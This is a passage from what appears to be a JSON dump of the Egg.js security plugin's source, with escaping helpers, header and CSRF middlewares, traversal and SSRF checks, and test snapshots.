(value[0] === '/' || value[0] === '#') {\n          return;\n        }\n\n        const hostname = getFromUrl(value, 'hostname');\n        if (!hostname) {\n          return;\n        }\n\n        // If we don't have our hostname in the app.security.domainWhiteList,\n        // Just check for `shtmlConfig.domainWhiteList` and `ctx.whiteList`.\n        if (!isSafeDomain(hostname, domainWhiteList)) {\n          // Check for `shtmlConfig.domainWhiteList` first (duplicated now)\n          if (shtmlConfig.domainWhiteList && shtmlConfig.domainWhiteList.length > 0) {\n            app.deprecate(\n              '[@eggjs/security/lib/helper/shtml] `config.helper.shtml.domainWhiteList` has been deprecate. Please use `config.security.domainWhiteList` instead.',\n            );\n            if (!isSafeDomain(hostname, shtmlConfig.domainWhiteList)) {\n              return '';\n            }\n          } else {\n            return '';\n          }\n        }\n      }\n    };\n\n    // avoid overriding user configuration 'onTagAttr'\n    if (shtmlConfig.onTagAttr) {\n      const customOnTagAttrHandler = shtmlConfig.onTagAttr;\n      shtmlConfig.onTagAttr = function (tag: string, name: string, value: string, isWhiteAttr: boolean): string | void {\n        const result = customOnTagAttrHandler.apply(this, [tag, name, value, isWhiteAttr]);\n        if (result !== undefined) {\n          return result;\n        }\n        // fallback to build-in handler\n        return shtmlConfig[BUILD_IN_ON_TAG_ATTR]!.apply(this, [tag, name, value, isWhiteAttr]);\n      };\n    } else {\n      shtmlConfig.onTagAttr = shtmlConfig[BUILD_IN_ON_TAG_ATTR];\n    }\n  }\n\n  return xss(val, shtmlConfig);\n}\n"
  },
  {
    "path": "plugins/security/src/lib/helper/sjs.ts",
    "content": "/**\n * Escape JavaScript to \\xHH format\n */\n\n// escape \\x00-\\x7f\n// except 0-9,A-Z,a-z(\\x2f-\\x3a \\x40-\\x5b \\x60-\\x7b)\n\n// eslint-disable-next-line\nconst MATCH_VULNERABLE_REGEXP = /[\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\x7f]/;\n// eslint-enable-next-line\n\nconst BASIC_ALPHABETS = new Set('abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ'.split(''));\n\nconst map: Record<string, string> = {\n  '\\t': '\\\\t',\n  '\\n': '\\\\n',\n  '\\r': '\\\\r',\n};\n\nexport default function escapeJavaScript(text: string): string {\n  const str = '' + text;\n  const match = MATCH_VULNERABLE_REGEXP.exec(str);\n\n  if (!match) {\n    return str;\n  }\n\n  let res = '';\n  let index = 0;\n  let lastIndex = 0;\n  let ascii;\n\n  for (index = match.index; index < str.length; index++) {\n    ascii = str[index];\n    if (BASIC_ALPHABETS.has(ascii)) {\n      continue;\n    } else {\n      if (map[ascii] === undefined) {\n        const code = ascii.charCodeAt(0);\n        if (code > 127) {\n          continue;\n        } else {\n          map[ascii] = '\\\\x' + code.toString(16);\n        }\n      }\n    }\n\n    if (lastIndex !== index) {\n      res += str.substring(lastIndex, index);\n    }\n\n    lastIndex = index + 1;\n    res += map[ascii];\n  }\n\n  return lastIndex !== index ? res + str.substring(lastIndex, index) : res;\n}\n"
  },
  {
    "path": "plugins/security/src/lib/helper/sjson.ts",
    "content": "import sjs from './sjs.ts';\n\n/**\n * escape json\n * for output json in script\n */\n\nfunction sanitizeKey(obj: any) {\n  if (typeof obj !== 'object') return obj;\n  if (Array.isArray(obj)) return obj;\n  if (obj === null) return null;\n  if (typeof obj === 'boolean') return obj;\n  if (typeof obj === 'number') return obj;\n  if (Buffer.isBuffer(obj)) return obj.toString();\n\n  for (const k in obj) {\n    const escapedK = sjs(k);\n    if (escapedK !== k) {\n      obj[escapedK] = sanitizeKey(obj[k]);\n      obj[k] = undefined;\n    } else {\n      obj[k] = sanitizeKey(obj[k]);\n    }\n  }\n  return obj;\n}\n\nexport default function jsonEscape(obj: any): string {\n  return JSON.stringify(sanitizeKey(obj), (_k, v) => {\n    if (typeof v === 'string') {\n      return sjs(v);\n    }\n    return v;\n  });\n}\n"
  },
  {
    "path": "plugins/security/src/lib/helper/spath.ts",
    "content": "/**\n * File Inclusion\n */\n\nimport type { BaseContextClass } from 'egg';\n\nexport default function pathFilter(this: BaseContextClass, path: string): string | null {\n  if (typeof path !== 'string') return path;\n\n  const pathSource = path;\n\n  while (path.indexOf('%') !== -1) {\n    try {\n      path = decodeURIComponent(path);\n    } catch {\n      if (process.env.NODE_ENV !== 'production') {\n        // Not a PROD env, logging with a warning.\n        this.ctx.coreLogger.warn('[@eggjs/security/lib/helper/spath] : decode file path %j failed.', path);\n      }\n      break;\n    }\n  }\n  if (path.indexOf('..') !== -1 || path[0] === '/') {\n    return null;\n  }\n  return pathSource;\n}\n"
  },
  {
    "path": "plugins/security/src/lib/helper/surl.ts",
    "content": "import type { BaseContextClass } from 'egg';\n\nconst escapeMap: Record<string, string> = {\n  '\"': '&quot;',\n  '<': '&lt;',\n  '>': '&gt;',\n  \"'\": '&#x27;',\n};\n\nexport default function surl(this: BaseContextClass, val: string): string {\n  // Just get the converted the protocolWhiteList in `Set` mode,\n  // Avoid conversions in `foreach`\n  const protocolWhiteListSet = this.app.config.security.__protocolWhiteListSet!;\n\n  if (typeof val !== 'string') {\n    return val;\n  }\n\n  // only test on absolute path\n  if (val[0] !== '/') {\n    const arr = val.split('://', 2);\n    const protocol = arr.length > 1 ? arr[0].toLowerCase() : '';\n    if (protocol === '' || !protocolWhiteListSet.has(protocol)) {\n      if (this.app.config.env === 'local') {\n        this.ctx.coreLogger.warn(\n          '[@eggjs/security/surl] url: %j, protocol: %j, ' +\n            'protocol is empty or not in white list, convert to empty string',\n          val,\n          protocol,\n        );\n      }\n      return '';\n    }\n  }\n\n  return val.replace(/[\"'<>]/g, (ch) => {\n    return escapeMap[ch];\n  });\n}\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/csp.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\nimport extend from 'extend';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport { checkIfIgnore } from '../utils.ts';\n\nconst HEADER = ['x-content-security-policy', 'content-security-policy'];\nconst REPORT_ONLY_HEADER = ['x-content-security-policy-report-only', 'content-security-policy-report-only'];\n\n// Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nconst MSIE_REGEXP = / MSIE /i;\n\nexport default (options: SecurityConfig['csp']): MiddlewareFunc => {\n  return async function csp(ctx, next) {\n    await next();\n\n    const opts = {\n      ...options,\n      ...ctx.securityOptions.csp,\n    };\n    if (checkIfIgnore(opts, ctx)) return;\n\n    let finalHeader;\n    const matchedOption = extend(true, {}, opts.policy);\n    const bufArray = [];\n\n    const headers = opts.reportOnly ? REPORT_ONLY_HEADER : HEADER;\n    if (opts.supportIE && MSIE_REGEXP.test(ctx.get('user-agent'))) {\n      finalHeader = headers[0];\n    } else {\n      finalHeader = headers[1];\n    }\n\n    for (const key in matchedOption) {\n      const value = matchedOption[key];\n      // Other arrays are splitted into strings EXCEPT `sandbox`\n      // https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox\n      if (key === 'sandbox' && value === true) {\n        bufArray.push(key);\n      } else {\n        let values = (Array.isArray(value) ? value : [value]) as string[];\n        if (key === 'script-src') {\n          const hasNonce = values.some(function (val) {\n            return val.indexOf('nonce-') !== -1;\n          });\n\n          if (!hasNonce) {\n            values.push(\"'nonce-\" + ctx.nonce + \"'\");\n          }\n        }\n\n        values = values.map(function (d) {\n          if (d.startsWith('.')) {\n            d = '*' + d;\n          }\n          return d;\n        });\n        bufArray.push(key + ' ' + values.join(' '));\n      }\n    }\n    const headerString = bufArray.join(';');\n    ctx.set(finalHeader, headerString);\n    ctx.set('x-csp-nonce', ctx.nonce);\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/csrf.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport type { MiddlewareFunc } from 'egg';\nimport typeis from 'type-is';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport { checkIfIgnore } from '../utils.ts';\n\nconst debug = debuglog('egg/security/lib/middlewares/csrf');\n\nexport default (options: SecurityConfig['csrf']): MiddlewareFunc => {\n  return function csrf(ctx, next) {\n    if (checkIfIgnore(options, ctx)) {\n      return next();\n    }\n\n    // ensure csrf token exists\n    if (['any', 'all', 'ctoken'].includes(options.type)) {\n      ctx.ensureCsrfSecret();\n    }\n\n    // supported requests\n    const method = ctx.method;\n    let isSupported = false;\n    for (const eachRule of options.supportedRequests) {\n      if (eachRule.path.test(ctx.path)) {\n        if (eachRule.methods.includes(method)) {\n          isSupported = true;\n          break;\n        }\n      }\n    }\n    if (!isSupported) {\n      return next();\n    }\n\n    if (options.ignoreJSON && typeis.is(ctx.get('content-type'), 'json')) {\n      return next();\n    }\n\n    const body = ctx.request.body;\n    debug('%s %s, got %j', ctx.method, ctx.url, body);\n    ctx.assertCsrf();\n    return next();\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/dta.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport { isSafePath } from '../utils.ts';\n\n// https://en.wikipedia.org/wiki/Directory_traversal_attack\nexport default (): MiddlewareFunc => {\n  return function dta(ctx, next) {\n    const path = ctx.path;\n    if (!isSafePath(path, ctx)) {\n      ctx.throw(400);\n    }\n    return next();\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/hsts.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport { checkIfIgnore } from '../utils.ts';\n\n// Set Strict-Transport-Security header\nexport default (options: SecurityConfig['hsts']): MiddlewareFunc => {\n  return async function hsts(ctx, next) {\n    await next();\n\n    const opts = {\n      ...options,\n      ...ctx.securityOptions.hsts,\n    };\n    if (checkIfIgnore(opts, ctx)) return;\n\n    let val = `max-age=${opts.maxAge}`;\n    // If opts.includeSubdomains is defined,\n    // the rule is also valid for all the sub domains of the website\n    if (opts.includeSubdomains) {\n      val = `${val}; includeSubdomains`;\n    }\n    ctx.set('strict-transport-security', val);\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/index.ts",
    "content": "import csp from './csp.ts';\nimport csrf from './csrf.ts';\nimport dta from './dta.ts';\nimport hsts from './hsts.ts';\nimport methodnoallow from './methodnoallow.ts';\nimport noopen from './noopen.ts';\nimport nosniff from './nosniff.ts';\nimport referrerPolicy from './referrerPolicy.ts';\nimport xframe from './xframe.ts';\nimport xssProtection from './xssProtection.ts';\n\nconst middlewares: {\n  csp: typeof csp;\n  csrf: typeof csrf;\n  dta: typeof dta;\n  hsts: typeof hsts;\n  methodnoallow: typeof methodnoallow;\n  noopen: typeof noopen;\n  nosniff: typeof nosniff;\n  referrerPolicy: typeof referrerPolicy;\n  xframe: typeof xframe;\n  xssProtection: typeof xssProtection;\n} = {\n  csp,\n  csrf,\n  dta,\n  hsts,\n  methodnoallow,\n  noopen,\n  nosniff,\n  referrerPolicy,\n  xframe,\n  xssProtection,\n};\n\nexport default middlewares;\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/methodnoallow.ts",
    "content": "import { METHODS } from 'node:http';\n\nimport type { MiddlewareFunc } from 'egg';\n\nconst METHODS_NOT_ALLOWED = ['TRACE', 'TRACK'];\nconst safeHttpMethodsMap: Record<string, boolean> = {};\n\nfor (const method of METHODS) {\n  if (!METHODS_NOT_ALLOWED.includes(method)) {\n    safeHttpMethodsMap[method.toUpperCase()] = true;\n  }\n}\n\n// https://www.owasp.org/index.php/Cross_Site_Tracing\n// http://jsperf.com/find-by-map-with-find-by-array\nexport default (): MiddlewareFunc => {\n  return function notAllow(ctx, next) {\n    // ctx.method is upper case\n    if (!safeHttpMethodsMap[ctx.method]) {\n      ctx.throw(405);\n    }\n    return next();\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/noopen.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport { checkIfIgnore } from '../utils.ts';\n\n// @see http://blogs.msdn.com/b/ieinternals/archive/2009/06/30/internet-explorer-custom-http-headers.aspx\nexport default (options: SecurityConfig['noopen']): MiddlewareFunc => {\n  return async function noopen(ctx, next) {\n    await next();\n\n    const opts = {\n      ...options,\n      ...ctx.securityOptions.noopen,\n    };\n    if (checkIfIgnore(opts, ctx)) return;\n\n    ctx.set('x-download-options', 'noopen');\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/nosniff.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport { checkIfIgnore } from '../utils.ts';\n\n// status codes for redirects\n// @see https://github.com/jshttp/statuses/blob/master/index.js#L33\nconst RedirectStatus: Record<number, boolean> = {\n  300: true,\n  301: true,\n  302: true,\n  303: true,\n  305: true,\n  307: true,\n  308: true,\n};\n\nexport default (options: SecurityConfig['nosniff']): MiddlewareFunc => {\n  return async function nosniff(ctx, next) {\n    await next();\n\n    // ignore redirect response\n    if (RedirectStatus[ctx.status]) return;\n\n    const opts = {\n      ...options,\n      ...ctx.securityOptions.nosniff,\n    };\n    if (checkIfIgnore(opts, ctx)) return;\n\n    ctx.set('x-content-type-options', 'nosniff');\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/referrerPolicy.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport { checkIfIgnore } from '../utils.ts';\n\n// https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referrer-Policy\nconst ALLOWED_POLICIES_ENUM = [\n  'no-referrer',\n  'no-referrer-when-downgrade',\n  'origin',\n  'origin-when-cross-origin',\n  'same-origin',\n  'strict-origin',\n  'strict-origin-when-cross-origin',\n  'unsafe-url',\n  '',\n];\n\nexport default (options: SecurityConfig['referrerPolicy']): MiddlewareFunc => {\n  return async function referrerPolicy(ctx, next) {\n    await next();\n\n    const opts = {\n      ...options,\n      // check refererPolicy for backward compatibility\n      // typo on the old version\n      // @see https://github.com/eggjs/security/blob/e3408408adec5f8d009d37f75126ed082481d0ac/lib/middlewares/referrerPolicy.js#L21C59-L21C72\n      ...(ctx.securityOptions as any).refererPolicy,\n      ...ctx.securityOptions.referrerPolicy,\n    };\n    if (checkIfIgnore(opts, ctx)) return;\n\n    const policy = opts.value;\n    if (!ALLOWED_POLICIES_ENUM.includes(policy)) {\n      throw new Error(`\"${policy}\" is not available.`);\n    }\n\n    ctx.set('referrer-policy', policy);\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/xframe.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport { checkIfIgnore } from '../utils.ts';\n\nexport default (options: SecurityConfig['xframe']): MiddlewareFunc => {\n  return async function xframe(ctx, next) {\n    await next();\n\n    const opts = {\n      ...options,\n      ...ctx.securityOptions.xframe,\n    };\n    if (checkIfIgnore(opts, ctx)) return;\n\n    // DENY, SAMEORIGIN, ALLOW-FROM\n    // https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options?redirectlocale=en-US&redirectslug=The_X-FRAME-OPTIONS_response_header\n    const value = opts.value || 'SAMEORIGIN';\n    ctx.set('x-frame-options', value);\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/middlewares/xssProtection.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nimport type { SecurityConfig } from '../../config/config.default.ts';\nimport { checkIfIgnore } from '../utils.ts';\n\nexport default (options: SecurityConfig['xssProtection']): MiddlewareFunc => {\n  return async function xssProtection(ctx, next) {\n    await next();\n\n    const opts = {\n      ...options,\n      ...ctx.securityOptions.xssProtection,\n    };\n    if (checkIfIgnore(opts, ctx)) return;\n\n    ctx.set('x-xss-protection', opts.value);\n  };\n};\n"
  },
  {
    "path": "plugins/security/src/lib/utils.ts",
    "content": "import { normalize } from 'node:path';\n\nimport IP from '@eggjs/ip';\nimport type { PathMatchingFun } from '@eggjs/path-matching';\nimport type { Context } from 'egg';\nimport matcher from 'matcher';\n\nimport type { SecurityConfig, LookupAddress } from '../config/config.default.ts';\n\n/**\n * Check whether a domain is in the safe domain white list or not.\n * @param {String} domain The inputted domain.\n * @param {Array<string>} whiteList The white list for domain.\n * @return {Boolean} If the `domain` is in the white list, return true; otherwise false.\n */\nexport function isSafeDomain(domain: string, whiteList: string[]): boolean {\n  // domain must be string, otherwise return false\n  if (typeof domain !== 'string') return false;\n  // Ignore case sensitive first\n  domain = domain.toLowerCase();\n  // add prefix `.`, because all domains in white list start with `.`\n  const hostname = '.' + domain;\n\n  return whiteList.some((rule) => {\n    // Check whether we've got '*' as a wild character symbol\n    if (rule.includes('*')) {\n      return matcher.isMatch(domain, rule);\n    }\n    // If domain is an absolute path such as `http://...`\n    // We can directly check whether it directly equals to `domain`\n    // And we don't need to cope with `endWith`.\n    if (domain === rule) return true;\n    // ensure wwweggjs.com not match eggjs.com\n    if (!rule.startsWith('.')) rule = `.${rule}`;\n    return hostname.endsWith(rule);\n  });\n}\n\nexport function isSafePath(path: string, ctx: Context): boolean {\n  path = '.' + path;\n  if (path.includes('%')) {\n    try {\n      path = decodeURIComponent(path);\n    } catch {\n      if (ctx.app.config.env === 'local' || ctx.app.config.env === 'unittest') {\n        // not under production environment, output log\n        ctx.coreLogger.warn('[@eggjs/security: dta global block] : decode file path %j failed.', path);\n      }\n    }\n  }\n  const normalizePath = normalize(path);\n  return !(normalizePath.startsWith('../') || normalizePath.startsWith('..\\\\'));\n}\n\nexport function checkIfIgnore(opts: { enable: boolean; matching?: PathMatchingFun }, ctx: Context): boolean {\n  // check opts.enable first\n  if (!opts.enable) return true;\n  return !opts.matching?.(ctx);\n}\n\nconst IP_RE = /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/;\nconst topDomains: Record<string, number> = {};\n['.net.cn', '.gov.cn', '.org.cn', '.com.cn'].forEach((item) => {\n  topDomains[item] = 2 - item.split('.').length;\n});\n\nexport function getCookieDomain(hostname: string): string {\n  // TODO(fengmk2): support ipv6\n  if (IP_RE.test(hostname)) {\n    return hostname;\n  }\n  // app.test.domain.com => .test.domain.com\n  // app.stable.domain.com => .domain.com\n  // app.domain.com => .domain.com\n  // domain=.domain.com;\n  const splits = hostname.split('.');\n  let index = -2;\n\n  // only when `*.test.*.com` set `.test.*.com`\n  if (splits.length >= 4 && splits[splits.length - 3] === 'test') {\n    index = -3;\n  }\n  let domain = getDomain(splits, index);\n  if (topDomains[domain]) {\n    // app.foo.org.cn => .foo.org.cn\n    domain = getDomain(splits, index + topDomains[domain]);\n  }\n  return domain;\n}\n\nfunction getDomain(splits: string[], index: number): string {\n  return '.' + splits.slice(index).join('.');\n}\n\nexport function merge(origin: Record<string, any>, opts?: Record<string, any>): Record<string, any> {\n  if (!opts) {\n    return origin;\n  }\n  const res: Record<string, any> = {};\n\n  const originKeys = Object.keys(origin);\n  for (let i = 0; i < originKeys.length; i++) {\n    const key = originKeys[i];\n    res[key] = origin[key];\n  }\n\n  const keys = Object.keys(opts);\n  for (let i = 0; i < keys.length; i++) {\n    const key = keys[i];\n    res[key] = opts[key];\n  }\n  return res;\n}\n\nexport function preprocessConfig(config: SecurityConfig): void {\n  // transfer ssrf.ipBlackList to ssrf.checkAddress\n  // ssrf.ipExceptionList can easily pick out unwanted ips from ipBlackList\n  // checkAddress has higher priority than ipBlackList\n  const ssrf = config.ssrf;\n  if (ssrf && ssrf.ipBlackList && !ssrf.checkAddress) {\n    const blackList = ssrf.ipBlackList.map(getContains);\n    const exceptionList = (ssrf.ipExceptionList || []).map(getContains);\n    const hostnameExceptionList = ssrf.hostnameExceptionList;\n    ssrf.checkAddress = (\n      ipAddresses: string | LookupAddress | (string | LookupAddress)[],\n      _family: number | string,\n      hostname: string,\n    ): boolean => {\n      // Check white hostname first\n      if (hostname && hostnameExceptionList) {\n        if (hostnameExceptionList.includes(hostname)) {\n          return true;\n        }\n      }\n      // ipAddresses will be array address on Node.js >= 20\n      // [\n      //   { address: '220.181.125.241', family: 4 },\n      //   { address: '240e:964:ea02:b00:3::3ec', family: 6 }\n      // ]\n      if (!Array.isArray(ipAddresses)) {\n        ipAddresses = [ipAddresses];\n      }\n      for (const ipAddress of ipAddresses) {\n        let address: string;\n        if (typeof ipAddress === 'string') {\n          address = ipAddress;\n        } else {\n          // FIXME: should support ipv6\n          if (ipAddress.family === 6) {\n            continue;\n          }\n          address = ipAddress.address;\n        }\n        // check white list first\n        for (const exception of exceptionList) {\n          if (exception(address)) {\n            return true;\n          }\n        }\n        // check black list\n        for (const contains of blackList) {\n          if (contains(address)) {\n            return false;\n          }\n        }\n      }\n      // default allow\n      return true;\n    };\n  }\n\n  // Make sure that `whiteList` or `protocolWhiteList` is case insensitive\n  config.domainWhiteList = config.domainWhiteList || [];\n  config.domainWhiteList = config.domainWhiteList.map((domain: string) => domain.toLowerCase());\n\n  config.protocolWhiteList = config.protocolWhiteList || [];\n  config.protocolWhiteList = config.protocolWhiteList.map((protocol: string) => protocol.toLowerCase());\n\n  // Make sure refererWhiteList is case insensitive\n  if (config.csrf && config.csrf.refererWhiteList) {\n    config.csrf.refererWhiteList = config.csrf.refererWhiteList.map((ref: string) => ref.toLowerCase());\n  }\n\n  // Directly converted to Set collection by a private property (not documented),\n  // And we NO LONGER need to do conversion in `foreach` again and again in `lib/helper/surl.ts`.\n  const protocolWhiteListSet = new Set(config.protocolWhiteList);\n  protocolWhiteListSet.add('http');\n  protocolWhiteListSet.add('https');\n  protocolWhiteListSet.add('file');\n  protocolWhiteListSet.add('data');\n\n  Object.defineProperty(config, '__protocolWhiteListSet', {\n    value: protocolWhiteListSet,\n    enumerable: false,\n  });\n}\n\nexport function getFromUrl(url: string, prop: string): string | null {\n  try {\n    const parsed = new URL(url);\n    return Reflect.get(parsed, prop);\n  } catch {\n    return null;\n  }\n}\n\nfunction getContains(ip: string): (address: string) => boolean {\n  if (IP.isV4Format(ip) || IP.isV6Format(ip)) {\n    return (address: string) => address === ip;\n  }\n  return IP.cidrSubnet(ip).contains;\n}\n"
  },
  {
    "path": "plugins/security/src/types.ts",
    "content": "import type { SecurityConfig, SecurityHelperConfig } from './config/config.default.ts';\nimport type { HttpClientRequestURL, HttpClientResponse, HttpClientOptions } from './lib/extend/safe_curl.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    /**\n     * security options\n     * @member Config#security\n     */\n    security: SecurityConfig;\n    helper: SecurityHelperConfig;\n  }\n\n  interface Agent {\n    safeCurl<T = any>(url: HttpClientRequestURL, options?: HttpClientOptions): Promise<HttpClientResponse<T>>;\n  }\n\n  interface Application {\n    injectCsrf(html: string): string;\n    injectNonce(html: string): string;\n    injectHijackingDefense(html: string): string;\n    safeCurl<T = any>(url: HttpClientRequestURL, options?: HttpClientOptions): Promise<HttpClientResponse<T>>;\n  }\n\n  interface Context {\n    get securityOptions(): Partial<SecurityConfig & SecurityHelperConfig>;\n    isSafeDomain(domain: string, customWhiteList?: string[]): boolean;\n    get nonce(): string;\n    get csrf(): string;\n    ensureCsrfSecret(rotate?: boolean): void;\n    rotateCsrfSecret(): void;\n    assertCsrf(): void;\n    safeCurl<T = any>(url: HttpClientRequestURL, options?: HttpClientOptions): Promise<HttpClientResponse<T>>;\n    unsafeRedirect(url: string, alt?: string): void;\n  }\n\n  interface Response {\n    unsafeRedirect(url: string, alt?: string): void;\n    redirect(url: string, alt?: string): void;\n  }\n}\n"
  },
  {
    "path": "plugins/security/test/__snapshots__/context.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`context.isSafeDomain > should return false when domains are not safe 1`] = `\n{\n  \"csp\": {\n    \"enable\": false,\n    \"policy\": {},\n  },\n  \"csrf\": {\n    \"bodyName\": \"_csrf\",\n    \"cookieName\": \"csrfToken\",\n    \"cookieOptions\": {\n      \"httpOnly\": false,\n      \"overwrite\": true,\n      \"signed\": false,\n    },\n    \"enable\": true,\n    \"headerName\": \"x-csrf-token\",\n    \"ignoreJSON\": false,\n    \"queryName\": \"_csrf\",\n    \"refererWhiteList\": [],\n    \"rotateWhenInvalid\": false,\n    \"sessionName\": \"csrfToken\",\n    \"supportedRequests\": [\n      {\n        \"methods\": [\n          \"POST\",\n          \"PATCH\",\n          \"DELETE\",\n          \"PUT\",\n          \"CONNECT\",\n        ],\n        \"path\": /\\\\^\\\\\\\\//,\n      },\n    ],\n    \"type\": \"ctoken\",\n    \"useSession\": false,\n  },\n  \"defaultMiddleware\": \"xframe\",\n  \"domainWhiteList\": [\n    \".domain.com\",\n    \"http://www.baidu.com\",\n    \"192.*.0.*\",\n    \"*.alibaba.com\",\n  ],\n  \"dta\": {\n    \"enable\": true,\n  },\n  \"hsts\": {\n    \"enable\": false,\n    \"includeSubdomains\": false,\n    \"maxAge\": 31536000,\n  },\n  \"methodnoallow\": {\n    \"enable\": true,\n  },\n  \"noopen\": {\n    \"enable\": true,\n  },\n  \"nosniff\": {\n    \"enable\": true,\n  },\n  \"protocolWhiteList\": [],\n  \"referrerPolicy\": {\n    \"enable\": false,\n    \"value\": \"no-referrer-when-downgrade\",\n  },\n  \"ssrf\": {},\n  \"xframe\": {\n    \"enable\": true,\n    \"matching\": [Function],\n    \"value\": \"SAMEORIGIN\",\n  },\n  \"xssProtection\": {\n    \"enable\": true,\n    \"value\": \"1; mode=block\",\n  },\n}\n`;\n"
  },
  {
    "path": "plugins/security/test/__snapshots__/csp.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/csp.test.ts > should ignore path 1`] = `\n{\n  \"csp\": {\n    \"enable\": true,\n    \"ignore\": [\n      \"/api/\",\n      /\\\\^\\\\\\\\/ignore\\\\\\\\//,\n    ],\n    \"matching\": [Function],\n    \"policy\": {\n      \"frame-ancestors\": [\n        \"'self'\",\n      ],\n      \"img-src\": [\n        \"'self'\",\n        \"data:\",\n        \"www.google-analytics.com\",\n      ],\n      \"report-uri\": \"http://pointman.domain.com/csp?app=csp\",\n      \"script-src\": [\n        \"'self'\",\n        \"'unsafe-inline'\",\n        \"'unsafe-eval'\",\n        \"www.google-analytics.com\",\n      ],\n      \"style-src\": [\n        \"'unsafe-inline'\",\n        \"www.google-analytics.com\",\n      ],\n    },\n  },\n  \"csrf\": {\n    \"bodyName\": \"_csrf\",\n    \"cookieName\": \"csrfToken\",\n    \"cookieOptions\": {\n      \"httpOnly\": false,\n      \"overwrite\": true,\n      \"signed\": false,\n    },\n    \"enable\": true,\n    \"headerName\": \"x-csrf-token\",\n    \"ignoreJSON\": false,\n    \"queryName\": \"_csrf\",\n    \"refererWhiteList\": [],\n    \"rotateWhenInvalid\": false,\n    \"sessionName\": \"csrfToken\",\n    \"supportedRequests\": [\n      {\n        \"methods\": [\n          \"POST\",\n          \"PATCH\",\n          \"DELETE\",\n          \"PUT\",\n          \"CONNECT\",\n        ],\n        \"path\": /\\\\^\\\\\\\\//,\n      },\n    ],\n    \"type\": \"ctoken\",\n    \"useSession\": false,\n  },\n  \"defaultMiddleware\": \"csp\",\n  \"domainWhiteList\": [],\n  \"dta\": {\n    \"enable\": true,\n  },\n  \"hsts\": {\n    \"enable\": false,\n    \"includeSubdomains\": false,\n    \"maxAge\": 31536000,\n  },\n  \"methodnoallow\": {\n    \"enable\": true,\n  },\n  \"noopen\": {\n    \"enable\": true,\n  },\n  \"nosniff\": {\n    \"enable\": true,\n  },\n  \"protocolWhiteList\": [],\n  \"referrerPolicy\": {\n    \"enable\": false,\n    \"value\": \"no-referrer-when-downgrade\",\n  },\n  \"ssrf\": {},\n  \"xframe\": {\n    \"enable\": true,\n    \"value\": \"SAMEORIGIN\",\n  },\n  \"xssProtection\": {\n    \"enable\": true,\n    \"value\": \"1; mode=block\",\n  },\n}\n`;\n"
  },
  {
    "path": "plugins/security/test/__snapshots__/csrf.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`apps/csrf-supported-requests-default-config > should works without error because csrf = false override default config 1`] = `\n{\n  \"bodyName\": \"_csrf\",\n  \"cookieName\": \"csrfToken\",\n  \"cookieOptions\": {\n    \"httpOnly\": false,\n    \"overwrite\": true,\n    \"signed\": false,\n  },\n  \"enable\": false,\n  \"headerName\": \"x-csrf-token\",\n  \"ignoreJSON\": false,\n  \"queryName\": \"_csrf\",\n  \"refererWhiteList\": [],\n  \"rotateWhenInvalid\": false,\n  \"sessionName\": \"csrfToken\",\n  \"supportedRequests\": [\n    {\n      \"methods\": [\n        \"POST\",\n        \"PATCH\",\n        \"DELETE\",\n        \"PUT\",\n        \"CONNECT\",\n      ],\n      \"path\": /\\\\^\\\\\\\\//,\n    },\n  ],\n  \"type\": \"ctoken\",\n  \"useSession\": false,\n}\n`;\n\nexports[`test/csrf.test.ts > should update form with csrf token 1`] = `\n{\n  \"bodyName\": \"_csrf\",\n  \"cookieName\": \"csrfToken\",\n  \"cookieOptions\": {\n    \"httpOnly\": false,\n    \"overwrite\": true,\n    \"signed\": false,\n  },\n  \"enable\": true,\n  \"headerName\": \"x-csrf-token\",\n  \"ignore\": [\n    /\\\\^\\\\\\\\/api\\\\\\\\//,\n    [Function],\n  ],\n  \"ignoreJSON\": false,\n  \"matching\": [Function],\n  \"queryName\": \"_csrf\",\n  \"refererWhiteList\": [],\n  \"rotateWhenInvalid\": false,\n  \"sessionName\": \"csrfToken\",\n  \"supportedRequests\": [\n    {\n      \"methods\": [\n        \"POST\",\n        \"PATCH\",\n        \"DELETE\",\n        \"PUT\",\n        \"CONNECT\",\n      ],\n      \"path\": /\\\\^\\\\\\\\//,\n    },\n  ],\n 